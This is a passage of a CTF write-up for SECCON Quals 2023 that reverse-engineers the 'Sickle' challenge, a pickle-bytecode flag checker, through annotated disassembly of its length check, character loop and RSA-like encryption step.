# SecCon Quals 2023 Some writeups for (mostly) rev challenges. # 1. Sickle We're provided with python program, which unpickles some static payload and either prints "Congratulations!!" if the result is `True`, or "Nope" otherwise. ## Initial analysis Running program greets us with `FLAG>` prompt, which implies it has some validation logic inside. Usually pickle is used to serialize data, but it is also perfectly capable of running code. Also, usage of `io.BytesIO()` to wrap payload may allow for conditional jumps while deserializing pickled bytecode. ## Disassembling As usual with pickled payloads, first thing to do is to throw it at `pickletools.dis()`. ### Step 1 After running disassembler on the payload we get the following listing: ``` 0: \x8c SHORT_BINUNICODE 'builtins' 10: \x8c SHORT_BINUNICODE 'getattr' 19: \x93 STACK_GLOBAL 20: \x94 MEMOIZE (as 0) 21: 2 DUP 22: \x8c SHORT_BINUNICODE 'builtins' 32: \x8c SHORT_BINUNICODE 'input' 39: \x93 STACK_GLOBAL 40: \x8c SHORT_BINUNICODE 'FLAG> ' 48: \x85 TUPLE1 49: R REDUCE 50: \x8c SHORT_BINUNICODE 'encode' 58: \x86 TUPLE2 59: R REDUCE 60: ) EMPTY_TUPLE 61: R REDUCE 62: \x94 MEMOIZE (as 1) 63: 0 POP 64: g GET 0 67: \x8c SHORT_BINUNICODE 'builtins' 77: \x8c SHORT_BINUNICODE 'dict' 83: \x93 STACK_GLOBAL 84: \x8c SHORT_BINUNICODE 'get' 89: \x86 TUPLE2 90: R REDUCE 91: \x8c SHORT_BINUNICODE 'builtins' 101: \x8c SHORT_BINUNICODE 'globals' 110: \x93 STACK_GLOBAL 111: ) EMPTY_TUPLE 112: R REDUCE 113: \x8c SHORT_BINUNICODE 'f' 116: \x86 TUPLE2 117: R REDUCE 118: \x8c SHORT_BINUNICODE 'seek' 124: \x86 TUPLE2 125: R REDUCE 126: \x94 MEMOIZE (as 2) 127: g GET 0 130: \x8c SHORT_BINUNICODE 'builtins' 140: \x8c SHORT_BINUNICODE 'int' 145: \x93 STACK_GLOBAL 146: \x8c SHORT_BINUNICODE '__add__' 155: \x86 TUPLE2 156: R REDUCE 157: \x94 MEMOIZE (as 3) 158: 0 POP 159: g GET 0 162: \x8c SHORT_BINUNICODE 'builtins' 172: \x8c SHORT_BINUNICODE 'int' 177: \x93 STACK_GLOBAL 178: \x8c SHORT_BINUNICODE '__mul__' 187: \x86 TUPLE2 188: R REDUCE 189: \x94 MEMOIZE (as 4) 190: 0 POP 191: g GET 0 194: \x8c SHORT_BINUNICODE 'builtins' 204: \x8c SHORT_BINUNICODE 'int' 209: \x93 STACK_GLOBAL 210: \x8c SHORT_BINUNICODE '__eq__' 218: \x86 TUPLE2 219: R REDUCE 220: \x94 MEMOIZE (as 5) 221: 0 POP 222: g GET 3 225: g GET 5 228: \x8c SHORT_BINUNICODE 'builtins' 238: \x8c SHORT_BINUNICODE 'len' 243: \x93 STACK_GLOBAL 244: g GET 1 247: \x85 TUPLE1 248: R REDUCE 249: M BININT2 64 252: \x86 TUPLE2 253: R REDUCE 254: M BININT2 261 257: \x86 TUPLE2 258: R REDUCE 259: \x85 TUPLE1 260: R REDUCE 261: . STOP highest protocol among opcodes = 4 ``` From the operations we can immediately see our `input('FLAG> ')` prompt at the start. Also there's `f.seek()` function reference, which confirms it does some jumping. But note how it ends at offset 261, even though original bytecode length is 1004 bytes. This happens because of a `STOP` instuction (which must be bypassed when some condition is met). To work that around, we can replace `.` (STOP) opcode at offset 261 with `N` (NONE). This would allow us to disassemble it further. ### Step 2 Now we've got a bit further: ``` ... 261: N NONE 262: 0 POP 263: g GET 0 266: g GET 1 269: \x8c SHORT_BINUNICODE '__getitem__' 282: \x86 TUPLE2 283: R REDUCE 284: \x94 MEMOIZE (as 6) 285: 0 POP 286: M BININT2 0 289: \x94 MEMOIZE (as 7) 290: 0 POP 291: g GET 2 294: g GET 3 297: g GET 0 300: g GET 6 303: g GET 7 306: \x85 TUPLE1 307: R REDUCE 308: \x8c SHORT_BINUNICODE '__le__' 316: \x86 TUPLE2 317: R REDUCE 318: M BININT2 127 321: \x85 TUPLE1 322: R REDUCE 323: M BININT2 330 326: \x86 TUPLE2 327: R REDUCE 328: \x85 TUPLE1 329: R REDUCE 330: . STOP highest protocol among opcodes = 4 ``` We also get an error the stack is not empty upon return, but we'll ignore it. Also, there's another `STOP` at offset 330, so we'd need to patch it as well. ### Step 3 Now it gets us a bit further, but throws an exception here: ``` ... 355: p PUT 7 Traceback (most recent call last): File "~/ctf/seccon2023/sickle/dis.py", line 5, in <module> dis(payload) File "/usr/local/Cellar/python@3.11/3.11.3/Frameworks/Python.framework/Versions/3.11/lib/python3.11/pickletools.py", line 2531, in dis raise ValueError(errormsg) ValueError: memo key 7 already defined ``` For some reason, `pickletools` doesn't allow assiging data at the already allocated memo index, even though it is the only purpose of the `PUT` instruction. Luckily, we can copy `dis()` function code locally and remove that check. And while we're at it, also purge that annoying stack emptiness check at the end. After using our modified disassembly function, it works as expected and outputs remaining code (continuing from offset 330): ``` ... 330: N NONE 331: 0 POP 332: g GET 2 335: g GET 3 338: g GET 4 341: g GET 5 344: g GET 3 347: g GET 7 350: M BININT2 1 353: \x86 TUPLE2 354: R REDUCE 355: p PUT 7 358: M BININT2 64 361: \x86 TUPLE2 362: R REDUCE 363: M BININT2 85 366: \x86 TUPLE2 367: R REDUCE 368: M BININT2 290 371: \x86 TUPLE2 372: R REDUCE 373: \x85 TUPLE1 374: R REDUCE 375: 0 POP 376: g GET 0 379: g GET 0 382: ] EMPTY_LIST 383: \x94 MEMOIZE (as 8) 384: \x8c SHORT_BINUNICODE 'append' 392: \x86 TUPLE2 393: R REDUCE 394: \x94 MEMOIZE (as 9) 395: 0 POP 396: g GET 8 399: \x8c SHORT_BINUNICODE '__getitem__' 412: \x86 TUPLE2 413: R REDUCE 414: \x94 MEMOIZE (as 10) 415: 0 POP 416: g GET 0 419: \x8c SHORT_BINUNICODE 'builtins' 429: \x8c SHORT_BINUNICODE 'int' 434: \x93 STACK_GLOBAL 435: \x8c SHORT_BINUNICODE 'from_bytes' 447: \x86 TUPLE2 448: R REDUCE 449: \x94 MEMOIZE (as 11) 450: 0 POP 451: M BININT2 0 454: p PUT 7 457: 0 POP 458: g GET 9 461: g GET 11 465: g GET 6 468: \x8c SHORT_BINUNICODE 'builtins' 478: \x8c SHORT_BINUNICODE 'slice' 485: \x93 STACK_GLOBAL 486: g GET 4 489: g GET 7 492: M BININT2 8 495: \x86 TUPLE2 496: R REDUCE 497: g GET 4 500: g GET 3 503: g GET 7 506: M BININT2 1 509: \x86 TUPLE2 510: R REDUCE 511: M BININT2 8 514: \x86 TUPLE2 515: R REDUCE 516: \x86 TUPLE2 517: R REDUCE 518: \x85 TUPLE1 519: R REDUCE 520: \x8c SHORT_BINUNICODE 'little' 528: \x86 TUPLE2 529: R REDUCE 530: \x85 TUPLE1 531: R REDUCE 532: 0 POP 533: g GET 2 536: g GET 3 539: g GET 4 542: g GET 5 545: g GET 3 548: g GET 7 551: M BININT2 1 554: \x86 TUPLE2 555: R REDUCE 556: p PUT 7 559: M BININT2 8 562: \x86 TUPLE2 563: R REDUCE 564: M BININT2 119 567: \x86 TUPLE2 568: R REDUCE 569: M BININT2 457 572: \x86 TUPLE2 573: R REDUCE 574: \x85 TUPLE1 575: R REDUCE 576: 0 POP 577: g GET 0 580: ] EMPTY_LIST 581: \x94 MEMOIZE (as 12) 582: \x8c SHORT_BINUNICODE 'append' 590: \x86 TUPLE2 591: R REDUCE 592: \x94 MEMOIZE (as 13) 593: 0 POP 594: g GET 0 597: g GET 12 601: \x8c SHORT_BINUNICODE '__getitem__' 614: \x86 TUPLE2 615: R REDUCE 616: \x94 MEMOIZE (as 14) 617: 0 POP 618: g GET 0 621: \x8c SHORT_BINUNICODE 'builtins' 631: \x8c SHORT_BINUNICODE 'int' 636: \x93 STACK_GLOBAL 637: \x8c SHORT_BINUNICODE '__xor__' 646: \x86 TUPLE2 647: R REDUCE 648: \x94 MEMOIZE (as 15) 649: 0 POP 650: I INT 1244422970072434993 671: \x94 MEMOIZE (as 16) 672: 0 POP 673: M BININT2 0 676: p PUT 7 679: 0 POP 680: g GET 13 684: \x8c SHORT_BINUNICODE 'builtins' 694: \x8c SHORT_BINUNICODE 'pow' 699: \x93 STACK_GLOBAL 700: g GET 15 704: g GET 10 708: g GET 7 711: \x85 TUPLE1 712: R REDUCE 713: g GET 16 717: \x86 TUPLE2 718: R REDUCE 719: I INT 65537 726: I INT 18446744073709551557 748: \x87 TUPLE3 749: R REDUCE 750: \x85 TUPLE1 751: R REDUCE 752: 0 POP 753: g GET 14 757: g GET 7 760: \x85 TUPLE1 761: R REDUCE 762: p PUT 16 766: 0 POP 767: g GET 2 770: g GET 3 773: g GET 4 776: g GET 5 779: g GET 3 782: g GET 7 785: M BININT2 1 788: \x86 TUPLE2 789: R REDUCE 790: p PUT 7 793: M BININT2 8 796: \x86 TUPLE2 797: R REDUCE 798: M BININT2 131 801: \x86 TUPLE2 802: R REDUCE 803: M BININT2 679 806: \x86 TUPLE2 807: R REDUCE 808: \x85 TUPLE1 809: R REDUCE 810: 0 POP 811: g GET 0 814: g GET 12 818: \x8c SHORT_BINUNICODE '__eq__' 826: \x86 TUPLE2 827: R REDUCE 828: ( MARK 829: I INT 8215359690687096682 850: I INT 1862662588367509514 871: I INT 8350772864914849965 892: I INT 11616510986494699232 914: I INT 3711648467207374797 935: I INT 9722127090168848805 956: I INT 16780197523811627561 978: I INT 18138828537077112905 1000: l LIST (MARK at 828) 1001: \x85 TUPLE1 1002: R REDUCE 1003: . STOP highest protocol among opcodes = 4 ``` ## Analysis Much like Python itself, pickle deserializer uses a stack-based VM to produce output. So to analyze it, we need to know stack contents at each instruction. While it is possible to make out patched `dis()` function output that automatically, it would require some amount of work. And humans are lazy :) On the other hand, Copilot turned out to be extremely good at annotating stack states, with only some minor errors. So entire disassembly annotation was 90% hitting tab and 10% checking if it makes sense. So, let's head to exploring annotated blocks and figuring out what are they doing. ### Initialization and flag entry ``` 0: \x8c SHORT_BINUNICODE 'builtins' ; [ 'builtins' ] 10: \x8c SHORT_BINUNICODE 'getattr' ; [ 'builtins', 'getattr' ] 19: \x93 STACK_GLOBAL ; [ builtins.getattr ] 20: \x94 MEMOIZE (as 0) ; memo[0] = builtins.getattr 21: 2 DUP ; [ builtins.getattr, builtins.getattr ] 22: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ] 32: \x8c SHORT_BINUNICODE 'input' ; [ builtins.getattr, builtins.getattr, 'builtins', 'input' ] 39: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.input ] 40: \x8c SHORT_BINUNICODE 'FLAG> ' ; [ builtins.getattr, builtins.getattr, builtins.input, 'FLAG> ' ] 48: \x85 TUPLE1 ; [ builtins.getattr, builtins.getattr, builtins.input, ('FLAG> ',) ] 49: R REDUCE ; [ builtins.getattr, builtins.getattr, flag_str ] 50: \x8c SHORT_BINUNICODE 'encode' ; [ builtins.getattr, builtins.getattr, flag_str, 'encode' ] 58: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (flag_str, 'encode') ] 59: R REDUCE ; [ builtins.getattr, flag_str.encode ] 60: ) EMPTY_TUPLE ; [ builtins.getattr, flag_str.encode, () ] 61: R REDUCE ; [ builtins.getattr, flag ] 62: \x94 MEMOIZE (as 1) ; memo[1] = flag 63: 0 POP ; [ builtins.getattr ] 64: g GET 0 ; [ builtins.getattr, builtins.getattr ] 67: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ] 77: \x8c SHORT_BINUNICODE 'dict' ; [ builtins.getattr, builtins.getattr, 'builtins', 'dict' ] 83: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.dict ] 84: \x8c SHORT_BINUNICODE 'get' ; [ builtins.getattr, builtins.getattr, builtins.dict, 'get' ] 89: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (builtins.dict, 'get') ] 90: R REDUCE ; [ builtins.getattr, dict.get ] 91: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, dict.get, 'builtins' ] 101: \x8c SHORT_BINUNICODE 'globals' ; [ builtins.getattr, dict.get, 'builtins', 'globals' ] 110: \x93 STACK_GLOBAL ; [ builtins.getattr, dict.get, builtins.globals ] 111: ) EMPTY_TUPLE ; [ builtins.getattr, dict.get, builtins.globals, () ] 112: R REDUCE ; [ builtins.getattr, dict.get, globals ] 113: \x8c SHORT_BINUNICODE 'f' ; [ builtins.getattr, dict.get, globals, 'f' ] 116: \x86 TUPLE2 ; [ builtins.getattr, dict.get, (globals, 'f') ] 117: R REDUCE ; [ builtins.getattr, f ] 118: \x8c SHORT_BINUNICODE 'seek' ; [ builtins.getattr, f, 'seek' ] 124: \x86 TUPLE2 ; [ builtins.getattr, (f, 'seek') ] 125: R REDUCE ; [ f.seek ] 126: \x94 MEMOIZE (as 2) ; memo[2] = f.seek 127: g GET 0 ; [ f.seek, builtins.getattr ] 130: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ] 140: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ] 145: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ] 146: \x8c SHORT_BINUNICODE '__add__' ; [ f.seek, builtins.getattr, builtins.int, '__add__' ] 155: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__add__') ] 156: R REDUCE ; [ f.seek, int.__add__ ] 157: \x94 MEMOIZE (as 3) ; memo[3] = int.__add__ 158: 0 POP ; [ f.seek ] 159: g GET 0 ; [ f.seek, builtins.getattr ] 162: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ] 172: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ] 177: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ] 178: \x8c SHORT_BINUNICODE '__mul__' ; [ f.seek, builtins.getattr, builtins.int, '__mul__' ] 187: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__mul__') ] 188: R REDUCE ; [ f.seek, int.__mul__ ] 189: \x94 MEMOIZE (as 4) ; memo[4] = int.__mul__ 190: 0 POP ; [ f.seek ] 191: g GET 0 ; [ f.seek, builtins.getattr ] 194: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ] 204: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ] 209: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ] 210: \x8c SHORT_BINUNICODE '__eq__' ; [ f.seek, builtins.getattr, builtins.int, '__eq__' ] 218: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__eq__') ] 219: R REDUCE ; [ f.seek, int.__eq__ ] 220: \x94 MEMOIZE (as 5) ; memo[5] = int.__eq__ 221: 0 POP ; [ f.seek ] ``` Here we input flag, encode it as bytes and store it in memo. Also some basic int operations, `getattr` and `f.seek` are resolved and stored there. ### Checking flag length ``` 222: g GET 3 ; [ f.seek, int.__add__ ] 225: g GET 5 ; [ f.seek, int.__add__, int.__eq__ ] 228: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, int.__add__, int.__eq__, 'builtins' ] 238: \x8c SHORT_BINUNICODE 'len' ; [ f.seek, int.__add__, int.__eq__, 'builtins', 'len' ] 243: \x93 STACK_GLOBAL ; [ f.seek, int.__add__, int.__eq__, builtins.len ] 244: g GET 1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, flag ] 247: \x85 TUPLE1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, (flag,) ] 248: R REDUCE ; [ f.seek, int.__add__, int.__eq__, flag_len ] 249: M BININT2 64 ; [ f.seek, int.__add__, int.__eq__, flag_len, 64 ] 252: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__eq__, (flag_len, 64) ] 253: R REDUCE ; [ f.seek, int.__add__, flag_len == 64 ] 254: M BININT2 261 ; [ f.seek, int.__add__, flag_len == 64, 261 ] 257: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag_len == 64, 261) ] 258: R REDUCE ; [ f.seek, (flag_len == 64) + 261 ] 259: \x85 TUPLE1 ; [ f.seek, ((flag_len == 64) + 261,) ] 260: R REDUCE ; [ f.seek((flag_len == 64) + 261) ] 261: N NONE ; STOP 262: 0 POP ; [ ] ``` Here we check if flag length is equal to 64. Also, from `f.seek((flag_len == 64) + 261)` we can see how conditional jumps work. If flag length is not 64, it seeks to `0 + 261` (which is our `STOP` instruction), otherwise it seeks to the one right after it, effectively continuing execution. ### Character validation loop ``` 263: g GET 0 ; [ builtins.getattr ] 266: g GET 1 ; [ builtins.getattr, flag ] 269: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, flag, '__getitem__' ] 282: \x86 TUPLE2 ; [ builtins.getattr, (flag, '__getitem__') ] 283: R REDUCE ; [ flag.__getitem__ ] 284: \x94 MEMOIZE (as 6) ; memo[6] = flag.__getitem__ 285: 0 POP ; [ ] 286: M BININT2 0 ; [ 0 ] 289: \x94 MEMOIZE (as 7) ; memo[7] = 0 290: 0 POP ; [ ] 291: g GET 2 ; [ f.seek ] 294: g GET 3 ; [ f.seek, int.__add__ ] 297: g GET 0 ; [ f.seek, int.__add__, builtins.getattr ] 300: g GET 6 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__ ] 303: g GET 7 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, i ] 306: \x85 TUPLE1 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, (i,) ] 307: R REDUCE ; [ f.seek, int.__add__, builtins.getattr, flag[i] ] 308: \x8c SHORT_BINUNICODE '__le__' ; [ f.seek, int.__add__, builtins.getattr, flag[i], '__le__' ] 316: \x86 TUPLE2 ; [ f.seek, int.__add__, builtins.getattr, (flag[i], '__le__') ] 317: R REDUCE ; [ f.seek, int.__add__, flag[i].__le__ ] 318: M BININT2 127 ; [ f.seek, int.__add__, flag[i].__le__, 127 ] 321: \x85 TUPLE1 ; [ f.seek, int.__add__, flag[i].__le__, (127,) ] 322: R REDUCE ; [ f.seek, int.__add__, flag[i] < 127 ] 323: M BININT2 330 ; [ f.seek, int.__add__, flag[i] < 127, 330 ] 326: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag[i] < 127, 330) ] 327: R REDUCE ; [ f.seek, (flag[i] < 127) + 330 ] 328: \x85 TUPLE1 ; [ f.seek, ((flag[i] < 127) + 330,) ] 329: R REDUCE ; [ f.seek((flag[i] < 127) + 330) ] 330: N NONE ; STOP 331: 0 POP ; [ ] 332: g GET 2 ; [ f.seek ] 335: g GET 3 ; [ f.seek, int.__add__ ] 338: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ] 341: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ] 344: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ] 347: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ] 350: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ] 353: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ] 354: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ] 355: p PUT 7 ; memo[7] = i+1 358: M BININT2 64 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 64 ] 361: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 64) ] 362: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 64 ] 363: M BININT2 85 ; [ f.seek, int.__add__, int.__mul__, i+1 == 64, 85 ] 366: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 64, 85) ] 367: R REDUCE ; [ f.seek, int.__add__, (i+1 == 64) * 85 ] 368: M BININT2 290 ; [ f.seek, int.__add__, (i+1 == 64) * 85, 290 ] 371: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 64) * 85, 290) ] 372: R REDUCE ; [ f.seek, (i+1 == 64) * 85 + 290 ] 373: \x85 TUPLE1 ; [ f.seek, ((i+1 == 64) * 85 + 290,) ] 374: R REDUCE ; [ f.seek((i+1 == 64) * 85 + 290) ] 375: 0 POP ; [ ] ``` Here we can see it loops over each flag character and checks if it is less than 127. ### Converting flag to a list of integers ``` 376: g GET 0 ; [ builtins.getattr ] 379: g GET 0 ; [ builtins.getattr, builtins.getattr ] 382: ] EMPTY_LIST ; [ builtins.getattr, builtins.getattr, lst ] 383: \x94 MEMOIZE (as 8) ; memo[8] = lst 384: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, builtins.getattr, lst, 'append' ] 392: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (lst, 'append') ] 393: R REDUCE ; [ builtins.getattr, lst.append ] 394: \x94 MEMOIZE (as 9) ; memo[9] = lst.append 395: 0 POP ; [ builtins.getattr ] 396: g GET 8 ; [ builtins.getattr, lst ] 399: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst, '__getitem__' ] 412: \x86 TUPLE2 ; [ builtins.getattr, (lst, '__getitem__') ] 413: R REDUCE ; [ lst.__getitem__ ] 414: \x94 MEMOIZE (as 10) ; memo[10] = lst.__getitem__ 415: 0 POP ; [ ] 416: g GET 0 ; [ builtins.getattr ] 419: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ] 429: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ] 434: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ] 435: \x8c SHORT_BINUNICODE 'from_bytes' ; [ builtins.getattr, builtins.int, 'from_bytes' ] 447: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, 'from_bytes') ] 448: R REDUCE ; [ int.from_bytes ] 449: \x94 MEMOIZE (as 11) ; memo[11] = int.from_bytes 450: 0 POP ; [ ] 451: M BININT2 0 ; [ 0 ] 454: p PUT 7 ; memo[7] = 0 457: 0 POP ; [ ] 458: g GET 9 ; [ lst.append ] 461: g GET 11 ; [ lst.append, int.from_bytes ] 465: g GET 6 ; [ lst.append, int.from_bytes, flag.__getitem__ ] 468: \x8c SHORT_BINUNICODE 'builtins' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins' ] 478: \x8c SHORT_BINUNICODE 'slice' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins', 'slice' ] 485: \x93 STACK_GLOBAL ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice ] 486: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__ ] 489: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i ] 492: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i, 8 ] 495: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, (i, 8) ] 496: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8 ] 497: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__ ] 500: g GET 3 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__ ] 503: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i ] 506: M BININT2 1 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i, 1 ] 509: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, (i, 1) ] 510: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1 ] 511: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1, 8 ] 514: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, (i+1, 8) ] 515: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, (i+1) * 8 ] 516: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, (i*8, (i+1) * 8) ] 517: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, [i*8, (i+1) * 8] ] 518: \x85 TUPLE1 ; [ lst.append, int.from_bytes, flag.__getitem__, ([i*8:(i+1)*8],) ] 519: R REDUCE ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8] ] 520: \x8c SHORT_BINUNICODE 'little' ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8], 'little' ] 528: \x86 TUPLE2 ; [ lst.append, int.from_bytes, (flag[i*8:(i+1)*8], 'little') ] 529: R REDUCE ; [ lst.append, int.from_bytes(flag[i*8:(i+1)*8], 'little') ] 530: \x85 TUPLE1 ; [ lst.append, (int.from_bytes((flag[i*8:(i+1)*8], 'little'),) ] 531: R REDUCE ; [ lst.append(int.from_bytes(flag[i*8:(i+1)*8], 'little')) ] 532: 0 POP ; [ ] 533: g GET 2 ; [ f.seek ] 536: g GET 3 ; [ f.seek, int.__add__ ] 539: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ] 542: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ] 545: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ] 548: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ] 551: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ] 554: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ] 555: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ] 556: p PUT 7 ; memo[7] = i+1 559: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ] 562: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ] 563: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ] 564: M BININT2 119 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 119 ] 567: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 119) ] 568: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 119 ] 569: M BININT2 457 ; [ f.seek, int.__add__, (i+1 == 8) * 119, 457 ] 572: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 119, 457) ] 573: R REDUCE ; [ f.seek, (i+1 == 8) * 119 + 457 ] 574: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 119 + 457,) ] 575: R REDUCE ; [ f.seek((i+1 == 8) * 119 + 457) ] 576: 0 POP ; [ ] ``` In this loop, the flag is split to 8-byte chunks, which are converted to integers and appended to a list. ### RSA-like encryption ``` 577: g GET 0 ; [ builtins.getattr ] 580: ] EMPTY_LIST ; [ builtins.getattr, lst2 ] 581: \x94 MEMOIZE (as 12) ; memo[12] = lst2 582: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, lst2, 'append' ] 590: \x86 TUPLE2 ; [ builtins.getattr, (lst2, 'append') ] 591: R REDUCE ; [ lst2.append ] 592: \x94 MEMOIZE (as 13) ; memo[13] = lst2.append 593: 0 POP ; [ ] 594: g GET 0 ; [ builtins.getattr ] 597: g GET 12 ; [ builtins.getattr, lst2 ] 601: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst2, '__getitem__' ] 614: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__getitem__') ] 615: R REDUCE ; [ lst2.__getitem__ ] 616: \x94 MEMOIZE (as 14) ; memo[14] = lst2.__getitem__ 617: 0 POP ; [ ] 618: g GET 0 ; [ builtins.getattr ] 621: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ] 631: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ] 636: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ] 637: \x8c SHORT_BINUNICODE '__xor__' ; [ builtins.getattr, builtins.int, '__xor__' ] 646: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, '__xor__') ] 647: R REDUCE ; [ int.__xor__ ] 648: \x94 MEMOIZE (as 15) ; memo[15] = int.__xor__ 649: 0 POP ; [ ] 650: I INT 1244422970072434993 ; [ 1244422970072434993 ] 671: \x94 MEMOIZE (as 16) ; memo[16] = 1244422970072434993 (iv) 672: 0 POP ; [ ] 673: M BININT2 0 ; [ 0 ] 676: p PUT 7 ; memo[7] = 0 679: 0 POP ; [ ] 680: g GET 13 ; [ lst2.append ] 684: \x8c SHORT_BINUNICODE 'builtins' ; [ lst2.append, 'builtins' ] 694: \x8c SHORT_BINUNICODE 'pow' ; [ lst2.append, 'builtins', 'pow' ] 699: \x93 STACK_GLOBAL ; [ lst2.append, builtins.pow ] 700: g GET 15 ; [ lst2.append, builtins.pow, int.__xor__ ] 704: g GET 10 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__ ] 708: g GET 7 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, i ] 711: \x85 TUPLE1 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, (i,) ] 712: R REDUCE ; [ lst2.append, builtins.pow, 